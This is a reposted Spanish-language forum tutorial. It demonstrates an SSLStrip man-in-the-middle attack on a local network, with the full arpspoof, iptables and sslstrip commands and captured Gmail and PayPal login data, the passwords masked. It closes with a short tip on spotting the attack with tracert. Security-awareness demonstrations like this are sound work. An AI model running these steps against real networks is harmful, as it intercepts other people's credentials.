Desmitificando la seguridad de HTTPS con SSLStrip

Este es un buen post que vi en la red de dragon hecho por seidfreed.

----------------------------------------------------------------------------------------------------
Hola!
Muy buenas a todos/as!
Utilizamos hoy en día Internet para muchas cosas, mirar nuestro correo, mantenernos comunicados con la gente, conexiones a bancos etc…
Nadie nos ha enseñado a navegar de manera segura pero conocemos conceptos como:

1. Siempre que vayas a poner datos de carácter personal que la conexión sea segura que ponga HTTPS.
2. Que nos fijemos en la imagen del candadito

Algo así como esto:

HTTPS no es tan seguro como nos creemos, tiene debilidades, haremos una prueba de concepto.
El diagrama de red sería el siguiente

Este es el escenario planteado.
Suponemos que conocemos la IP del atacante.
Habilitamos el Forwanding en la máquina atacante

root@bt:~# echo “1″ > /proc/sys/net/ipv4/ip_forward

Ahora mediante ARPSPOOF haremos un ataque man in the middle

root@bt:~# arpspoof -i eth0 -t 192.168.78.137 192.168.78.2

Veremos como se hace el ataque de man in the middle

0:c:29:72:9a:32 0:c:29:e4:a8:97 0806 42: arp reply 192.168.78.2 is-at 0:c:29:72:9a:32

Primero hemos de poner la IP de la máquina a la que atacamos y después la IP del router
Ahora mediante IPTABLES hacemos la redirección de puertos

root@bt:~# iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000

Ahora activamos SSLSTRIP

root@bt:~# sslstrip -w passwords
sslstrip 0.6 by Moxie Marlinspike running…

Escribiremos todos lo que recojamos de SSLSTRIP en un fichero llamado passwords
Ahora mediante TAIL iremos viendo lo que sale por pantalla

root@bt:~# tail -f passwords

Ahora cuando la máquina atacante acceda a su correo, a GMAIL por ejemplo
Veremos como nos saca el password en texto plano

2010-07-24 00:36:26,739 SECURE POST Data (www.google.com):
ltmpl=default&ltmplcache=2&continue=http%3A%2F%2Fm ail.google.com%2Fmail%2F%3F&service=mail&rm=false& dsh=6669774865561864179&ltmpl=default&ltmpl=defaul t&scc=1&timeStmp=&secTok=&GALX=dPSLG5jykg8&Email=mriverolopez&Passwd=CONTRASEÑA&rmShown=1&signIn=Acceder&asts=

Y ahí tenemos la dirección de email y la contraseña, este caso lo hemos echo con gmail, probemos por ejemplo con…paypal

2010-07-24 01:47:25,907 SECURE POST Data (www.paypal.com):
login_cmd=&login_params=&login_email=Seifreed&login_password=CONTRASEÑA&target_page=0&submit.x=

Ya hemos visto lo sencillo que es capturar los datos de acceso aunque la conexión sea por HTTPS.
La pregunta es.. ¿ Como saber si estamos sufriendo un man in the middle ?
Una de las maneras sería haciendo un tracert

Como véis primero nos saldría la máquina que no está haciendo el man in the middle y luego nuestro router.
Así que tened cuidadín, desde que ubicaciones accedéis a vuestros datos privados.
Un saludo __________________
Mi web:
http://www.seifreed.wordpress.com

Asociación cultural y tecnológica
http://www.badiatech.org

Cursos de informática
aula.badiatech.org

Wikipedia asociación
wiki.badiatech.org

FUENTE:http://comunidad.dragonjar.org/f184/desmitificando-la-seguridad-de-https-con-sslstrip-10325/